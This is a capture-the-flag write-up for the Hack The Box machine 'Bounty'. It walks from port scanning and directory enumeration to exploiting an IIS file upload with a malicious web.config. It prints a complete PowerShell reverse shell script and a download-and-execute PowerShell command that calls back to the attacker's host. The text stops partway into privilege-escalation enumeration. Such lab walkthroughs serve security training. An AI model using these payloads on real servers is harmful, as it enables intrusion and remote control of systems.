HTB 'Bounty' Writeup
‘Bounty’ HTB Writeup
Host Information
Hostname | IP Address | Operating System | Difficulty Level |
Bounty | 10.10.10.93 | Windows | Easy |
Writeup Contents:
(you can jump to the section using these links)
Initial Recon
Again, we start with our initial recon of the target system. We’ll use the same enumeration automation script we used on ‘Sunday’ - nmapAutomator. You can find and download the script here on Github.
Let’s give it a run with a full scan against the target:
root@kali:/writeups/HTB/bounty/enumeration# nmapautomator 10.10.10.93 all
Running a all scan on 10.10.10.93
Host is likely running Windows
---------------------Starting Nmap Quick Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-25 17:17 CST
Nmap scan report for 10.10.10.93
Host is up (0.053s latency).
Not shown: 999 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 8.70 seconds
---------------------Starting Nmap Basic Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-25 17:17 CST
Nmap scan report for 10.10.10.93
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.96 seconds
----------------------Starting Nmap UDP Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-25 17:17 CST
Nmap scan report for 10.10.10.93
Host is up.
All 1000 scanned ports on 10.10.10.93 are open|filtered
Nmap done: 1 IP address (1 host up) scanned in 201.38 seconds
---------------------Starting Nmap Full Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-25 17:20 CST
Initiating Parallel DNS resolution of 1 host. at 17:20
Completed Parallel DNS resolution of 1 host. at 17:20, 0.01s elapsed
Initiating SYN Stealth Scan at 17:20
Scanning 10.10.10.93 [65535 ports]
Discovered open port 80/tcp on 10.10.10.93
SYN Stealth Scan Timing: About 11.53% done; ETC: 17:25 (0:03:58 remaining)
SYN Stealth Scan Timing: About 22.96% done; ETC: 17:25 (0:03:25 remaining)
SYN Stealth Scan Timing: About 34.39% done; ETC: 17:25 (0:02:54 remaining)
SYN Stealth Scan Timing: About 45.81% done; ETC: 17:25 (0:02:23 remaining)
SYN Stealth Scan Timing: About 57.24% done; ETC: 17:25 (0:01:53 remaining)
SYN Stealth Scan Timing: About 68.67% done; ETC: 17:25 (0:01:23 remaining)
SYN Stealth Scan Timing: About 80.09% done; ETC: 17:25 (0:00:52 remaining)
Completed SYN Stealth Scan at 17:25, 262.69s elapsed (65535 total ports)
Nmap scan report for 10.10.10.93
Host is up (0.042s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 262.81 seconds
Raw packets sent: 131269 (5.776MB) | Rcvd: 201 (8.844KB)
No new ports
---------------------Starting Nmap Vulns Scan---------------------
Running CVE scan on basic ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-25 17:25 CST
Nmap scan report for 10.10.10.93
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.59 seconds
Running Vuln scan on basic ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-25 17:25 CST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.10.93
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Microsoft-IIS/7.5
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2015-1635:
| VULNERABLE:
| Remote Code Execution in HTTP.sys (MS15-034)
| State: VULNERABLE
| IDs: CVE:CVE-2015-1635
| A remote code execution vulnerability exists in the HTTP protocol stack (HTTP.sys) that is
| caused when HTTP.sys improperly parses specially crafted HTTP requests. An attacker who
| successfully exploited this vulnerability could execute arbitrary code in the context of the System account.
|
| Disclosure date: 2015-04-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635
|_ https://technet.microsoft.com/en-us/library/security/ms15-034.aspx
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 211.43 seconds
---------------------Recon Recommendations----------------------
Web Servers Recon:
gobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.asp,.php -u http://10.10.10.93:80 -o recon/gobuster_10.10.10.93_80.txt
nikto -host 10.10.10.93:80 | tee recon/nikto_10.10.10.93_80.txt
Which commands would you like to run?
All (Default), gobuster, nikto, Skip <!>
Running Default in (1) s:
---------------------Running Recon Commands----------------------
Starting gobuster scan
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.93:80
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Show length: true
[+] Extensions: html,asp,php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/01/25 17:29:17 Starting gobuster
===============================================================
http://10.10.10.93:80/aspnet_client (Status: 301) [Size: 159]
http://10.10.10.93:80/uploadedfiles (Status: 301) [Size: 159]
===============================================================
2020/01/25 17:30:21 Finished
===============================================================
Finished gobuster scan
=========================
Starting nikto scan
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.93
+ Target Hostname: 10.10.10.93
+ Target Port: 80
+ Start Time: 2020-01-25 17:30:22 (GMT-6)
---------------------------------------------------------------------------
+ Server: Microsoft-IIS/7.5
+ Retrieved x-powered-by header: ASP.NET
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-aspnet-version header: 2.0.50727
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ 7863 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2020-01-25 17:36:48 (GMT-6) (386 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Finished nikto scan
=========================
---------------------Finished all Nmap scans---------------------
Completed in 19 minute(s) and 42 second(s)
OK, so it looks like IIS 7.5 is running, and HTTP appears to be the only service running externaly, on its usual port 80. Both the aspnet_client and uploadedfiles directories are probably things we want to check out. A quick web search tells us that IIS 7.5 is supported by the following OSes: Windows 7, Windows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Vista, Windows XP. It was launched with Windows 7 and Server 2008R2, however, so it’s likely our target is one of those versions of Windows, or later. Another quick nmap OS scan seems to confirm this:
Nmap scan report for 10.10.10.93
Host is up (0.039s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%), Microsoft Windows Embedded Standard 7 (91%)
No exact OS matches for host (test conditions non-ideal).
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.39 seconds
Looks like nmap vuln scan returned a potentially applicable CVE, let’s go ahead and check it out briefly. While the vulnerabilty mentions arbitrary remote code execution, the two POCs in searchsploit, as well as a few others have it listed under/use the vulnerablity in a DoS exploit, which is not what we’d want. Let’s go ahead and visit the site.
further site enumeration
Upon going to the home page of 10.10.10.93, we’re presented with an image of a wizard, Merlin, with no other items on the page. Quickly viewing the page source doesn’t reveal anything surprising. Clicking on the image however, simply seems to load the main address again. Let’s chekc out the two pages gobuster picked up - aspnet_client and uploadedfiles.
Going to aspnet_client first, we’re presented with a 403 Forbidden server message:
403 - Forbidden: Access is denied.
You do not have permission to view this directory or page using the credentials that you supplied.
We get the same thing uploadedfiles.
We could run a more instense dirb or gobuster scan with more extensions and a larger wordlist, but before we do so, let’s see if the IIS 7.5 install the server seems to be running is vulnerable and has any known exploits out there. A quick searchsploit query reveals the following:
root@kali:~# searchsploit IIS 7.5
-------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------- ----------------------------------------
Microsoft IIS 6.0/7.5 (+ PHP) - Multiple Vu | exploits/windows/remote/19033.txt
Microsoft IIS 7.5 (Windows 7) - FTPSVC Unau | exploits/windows/dos/15803.py
-------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
Since again, we don’t want a DoS, let’s check out the top result. A quick look at the exploit shows that appending :$i30:$INDEX_ALLOCATION
to the directory serving ASP files may allow authentication bypass. Trying this on both aspnet_client and the root directory yield no success though.
Let’s go ahead and give gobuster another run, with a larger list and some more extensions. This one seems to pick up an addiitonal page we didn’t see before, trasfer.aspx:
root@kali:/writeups/HTB/bounty/enumeration# gobuster dir -x txt,php,asp,aspx,html,htm -w /usr/share/wordlists/dirb/big.txt -t 20 --url http://10.10.10.93
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.93
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: htm,txt,php,asp,aspx,html
[+] Timeout: 10s
===============================================================
2020/01/27 10:15:21 Starting gobuster
===============================================================
/aspnet_client (Status: 301)
/transfer.aspx (Status: 200)
/uploadedfiles (Status: 301)
===============================================================
2020/01/27 10:20:28 Finished
===============================================================
If the page is what it sounds like, could we upload a file that contains a payload with a reverse shell to get a listener callback? Let’s check it out and see what we have.
As suspected, we’re presented with an upload page:
My first thought is to use msfvenom to generate a tcp reverse shell payload in an aspx format, But before we do that, let’s see what all kinds of files the web application can accept. To do this, let’s create a few files in a new directory under enumeration called test_files. For now i’m just going to create blank files to see if there are any restrictions on file extensions. From there, we can narrow down the list if needed and actually have some command execution going on in the files.
root@kali:/writeups/HTB/bounty/enumeration/test_files# ll
total 24
-rw-r--r-- 1 root root 0 Jan 27 10:47 test.txt
-rw-r--r-- 1 root root 0 Jan 27 10:47 test.ps1
-rw-r--r-- 1 root root 0 Jan 27 10:47 test.php
-rw-r--r-- 1 root root 0 Jan 27 10:47 test.bat
-rw-r--r-- 1 root root 0 Jan 27 10:47 test.aspx
-rw-r--r-- 1 root root 0 Jan 27 10:47 test.asp
OK, now let’s go through and upload these and see which the server accepts.
It looks like all of these files result in a server application error. Whether that’s because the files are empty, the extensions aren’t explicitly allowed, or there’s another application error, is not immediately clear. However, adding some content to a text file and re-uploading resulted in the same error. Uploading a png however, yielded “File Uploaded Successfully.” Since png files won’t execute remote commands or instructions however, let’s see if there are other file types we can upload. We can create another file in test_files call extensions:
root@kali:/writeups/HTB/bounty/enumeration/test_files# cat extensions
txt
asp
aspx
config
conf
bat
exe
jpg
png
ps1
zip
info
php
7z
Let’s see if we can use Burp Suite to iterate through these file extensions and view the page response to see which one(s) will work. If we turn the proxy on, turn burp intercept on after defining our target of 10.10.10.93, let’s see if we can get the HTTP page request when we upload a file to send to intruder. From intruder, we should be able to load the list of extensions, and have Burp iterated through those based on the page we intercepted earlier, if we change some variables. I’m not great with Burp, so let’s see if this works.
Picking a file from our earlier list and hitting Upload, we get the following from the “Raw” tab in Burp intercept:
POST /transfer.aspx HTTP/1.1
Host: 10.10.10.93
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.93/transfer.aspx
Content-Type: multipart/form-data; boundary=---------------------------81588905195218972764653888
Content-Length: 815
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------81588905195218972764653888
Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YRYCAgUPDxYGHgRUZXh0BRtGaWxlIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseS4eCUZvcmVDb2xvcgpPHgRfIVNCAgRkZGTzCqGl3vfaI0ahTsDwibNJTvAHww==
-----------------------------81588905195218972764653888
Content-Disposition: form-data; name="__EVENTVALIDATION"
/wEWAgKy168DAu3ehcwDVCU7vypX4Z9mld+tRKYg9vr0u50=
-----------------------------81588905195218972764653888
Content-Disposition: form-data; name="FileUpload1"; filename="test.asp"
Content-Type: application/x-asp
-----------------------------81588905195218972764653888
Content-Disposition: form-data; name="btnUpload"
Upload
-----------------------------81588905195218972764653888--
OK, so we have a general idea of how the upload form is structured. If we change the filename extension to a variable. While in the Raw tab, we can hit “Send to Intruder” or Ctrl+I. Going to the Intruder tab, and clicking on the Positions sub-tab, looks like Intruder has already set payload markers for us. Let’s go ahead and clear those with the Clear button on the right, and then set markers only around the extension. It should look roughly like this:
From here we can go into our payloads tab, click the Load button under Payload Options, and use the extensions file we created to load the different payload types, like so:
Now we should be able to run burp Intruder to test the upload form with each of these extensions by hitting the “Start Attack” button on the right. Let’s give it a shot. If we need to load more later, we can.
It looks like all of the results came back to the same internal server error we saw before. Let’s Check a known valid file with valid content (a .png) and foward that through proxy. Again, like last time, once we get a response, we can send to Intruder. Sending a known valid png file, we get the following back in Proxy:
POST /transfer.aspx HTTP/1.1
Host: 10.10.10.93
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.93/transfer.aspx
Content-Type: multipart/form-data; boundary=---------------------------179662448813248930531275414527
Content-Length: 851
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------179662448813248930531275414527
Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YRYCAgUPDxYGHgRUZXh0BR5JbnZhbGlkIEZpbGUuIFBsZWFzZSB0cnkgYWdhaW4eCUZvcmVDb2xvcgqNAR4EXyFTQgIEZGRkPF/uHftQHV6vtRNSzqetdHy84gA=
-----------------------------179662448813248930531275414527
Content-Disposition: form-data; name="__EVENTVALIDATION"
/wEWAgKF8922BwLt3oXMA7XqyscBMC8gwW65LRrL62/q50NB
-----------------------------179662448813248930531275414527
Content-Disposition: form-data; name="FileUpload1"; filename="testimage.png"
Content-Type: image/png
This is a test
-----------------------------179662448813248930531275414527
Content-Disposition: form-data; name="btnUpload"
Upload
-----------------------------179662448813248930531275414527--
Forwarding that to Intruder, Configuring it the same as prior, we end up with:
POST /transfer.aspx HTTP/1.1
Host: 10.10.10.93
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.93/transfer.aspx
Content-Type: multipart/form-data; boundary=---------------------------179662448813248930531275414527
Content-Length: 851
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------179662448813248930531275414527
Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YRYCAgUPDxYGHgRUZXh0BR5JbnZhbGlkIEZpbGUuIFBsZWFzZSB0cnkgYWdhaW4eCUZvcmVDb2xvcgqNAR4EXyFTQgIEZGRkPF/uHftQHV6vtRNSzqetdHy84gA=
-----------------------------179662448813248930531275414527
Content-Disposition: form-data; name="__EVENTVALIDATION"
/wEWAgKF8922BwLt3oXMA7XqyscBMC8gwW65LRrL62/q50NB
-----------------------------179662448813248930531275414527
Content-Disposition: form-data; name="FileUpload1"; filename="testimage.§extensions§"
Content-Type: image/png
This is a test
-----------------------------179662448813248930531275414527
Content-Disposition: form-data; name="btnUpload"
Upload
-----------------------------179662448813248930531275414527--
And we can start the Intruder Attack again. Once we do, we notice something interesting, the response length for a few of the extensions, is different than the others; while the rest are 1355, config, jpg, annd png are 1350. Looking at the response tab of the Intruder results, we see that the file uploaded successfully:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 27 Jan 2020 19:56:45 GMT
Connection: close
Content-Length: 1110
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1"><title>
Secure File Transfer
</title></head>
<body>
<form name="form1" method="post" action="transfer.aspx" id="form1" enctype="multipart/form-data">
<div>
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YRYCAgUPDxYGHgRUZXh0BRtGaWxlIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseS4eCUZvcmVDb2xvcgpPHgRfIVNCAgRkZGQVzp5C1t59IOVgIXwfuQSVFiQUiA==" />
</div>
<div>
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWAgKmvoTbCALt3oXMA1sqbGIZ9Bc6TX5sWgv/4wC7yaZ3" />
</div>
<div>
<input type="file" name="FileUpload1" id="FileUpload1" />
<input type="submit" name="btnUpload" value="Upload" onclick="return ValidateFile();" id="btnUpload" />
<br />
<span id="Label1" style="color:Green;">File uploaded successfully.</span>
</div>
</form>
</body>
</html>
Looking through the other responses, it looks like the other extensions, as expected, did not upload. We can probbly get the most milage out of the config file, as that is a file type associate with IIS. Since we’re not likely to be able to get any command execution from a image file, let’s see if we can have a config file behave maliciously in IIS.
exploiting the upload function for an initial foothold
After a quick bit of searching for “IIS config file code execution,” it appears we may indeed be able to get code execution from a config file which has ASP code executed at the end of the config file detailed here and here
Let’s give at a shot. The POC in the second link has an easy way that we could tell if the ASP code was executed, as the code sums 1+2, and you should be able to see “3” in the web.config file when opening. However, if you recall, we cannot access our uploaded files in the uploadedfiles directory. So, let’s go ahead and try to spawn a reverse shell, basing off the first link above, to see if it this vulnerability is exploitable. If it is, we’ll have an initial foothold. If not, we’ll have to figure something else out. Let’s create a file in our exploits folder called shell.config. The original PoC looks like so:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<appSettings>
</appSettings>
</configuration>
<!–-
<% Response.write("-"&"->")
Response.write("<pre>")
Set wShell1 = CreateObject("WScript.Shell")
Set cmd = wShell1.Exec("whoami")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write("</pre><!-"&"-") %>
-–>
So rather than run “whoami” we need the script to execute a reverse shell. Let’s try having the wscript shell execute a command that has been successful on other boxes: using powershell to download a remote file which then spawns a reverse shell. To do this, let’s go ahead and stage the ps1 file in our exploits folder, and then serve the file via simple HTTP on port 8080. It’s possible that powershell is not installed on the target system, but given the likely OS versions of the target system, it seems probable that Powershell is installed.
Let’s stage our TCP shell powershell file. There’s a great powershell module for TCP reverse connections we can use, subsittuting our own information in for the reverse connection, we can save it as reverse_shell.ps1:
root@kali:/writeups/HTB/bounty/exploits# cat reverse_shell.ps1
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.50 -Port 43110
Next, let’s start a local listener on the port specified in the ps1, with nc -lnvp 43110
Next, we need to find a command that will download and execute the powershell file. That’s also pretty trivial to do with powershell, so if the system has powershell on it, we should be able to call the powershell command from cmd, like so:
cmd.exe /c powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.50:8080/reverse_shell.ps1')
Despite its name, the DownloadString function should run the remote file retreived as well. Next, we need to modify the PoC of the IIS config file exploit to run our listener, instead of running whoami
. After some time of tweaking and confirming some PowerShell syntax, I believe the following should work:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<appSettings>
</appSettings>
</configuration>
<%
Set objShell = CreateObject("WScript.Shell")
strCmd = "cmd.exe /c powershell.exe -c IEX(New-Object Net.Webclient).downloadstring('http://10.10.14.50:8080/reverse_shell.ps1')"
Set objShellExec = objShell.Exec(strCmd)
strOutput = objShellExec.StdOut.ReadAll()
WScript.StdOut.Write(strOutput)
WScript.Echo(strOutput)
%>
Let’s save that to web.config (as that’s what’s called out in the “remove segment” function, serve the exploits folder, and see if it works.
Nothing seems to happen on upload, let’s see if we can browse to it in the uploadedfiles directory to force execution. We should be able to do to this URL as the “remove segment” function allows use to access “web.config”
Once we go there, like many web shells, the browser will continue to appear to load. But when we check our netcat listener, we see we got a shell:
root@kali:~# nc -lvnp 43110
listening on [any] 43110 ...
connect to [10.10.14.50] from (UNKNOWN) [10.10.10.93] 49158
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\windows\system32\inetsrv>
And it looks like we are a user called ‘merlin’ on this system. Let’s go ahead and see if we can grab the user flag, and then do further enumeration for privesc.
PS C:\windows\system32\inetsrv>whoami
bounty\merlin
Looks like the user.txt flag is not under merlin’s desktop, so let’s go ahead and see if we can do further enumeration to escalation to system.
Privilege Escalation
further enumeration
Let’s confirm some basic information first with the systeminfo
command:
PS C:\users\merlin> systeminfo
Host Name: BOUNTY
OS Name: Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 55041-402-3606965-84760
Original Install Date: 5/30/2018, 12:22:24 AM
System Boot Time: 1/28/2020, 12:35:34 AM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,553 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 3,540 MB
Virtual Memory: In Use: 555 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.93
PS C:\users\merlin>
OK, so it looks like we’re running a vanilla Server 2008R2 Datacenter build, with no apparent service packs or hotfixes installed. So there is probably a number of kernel level exploits we can run.
With Windows hosts that support powershell, I’ve had some luck using this Sherlock.ps1 script - let’s go ahead and stage it in the exploits folder, which is already being served by SimpleHTTP.
Once it’s in our exploits folder, make sure that the Find-AllVUlns
function is invoked at the bottom of the script (the top part of the script is all function declarations.)
Now let’s try to transfer the script from our local kali machine to the target system, just like we did with the web.config file:
PS C:\users\merlin> IEX(New-Object Net.Webclient).downloadstring('http://10.10.14.50:8080/Sherlock.ps1')
Title : User Mode to Ring (KiTrap0D)
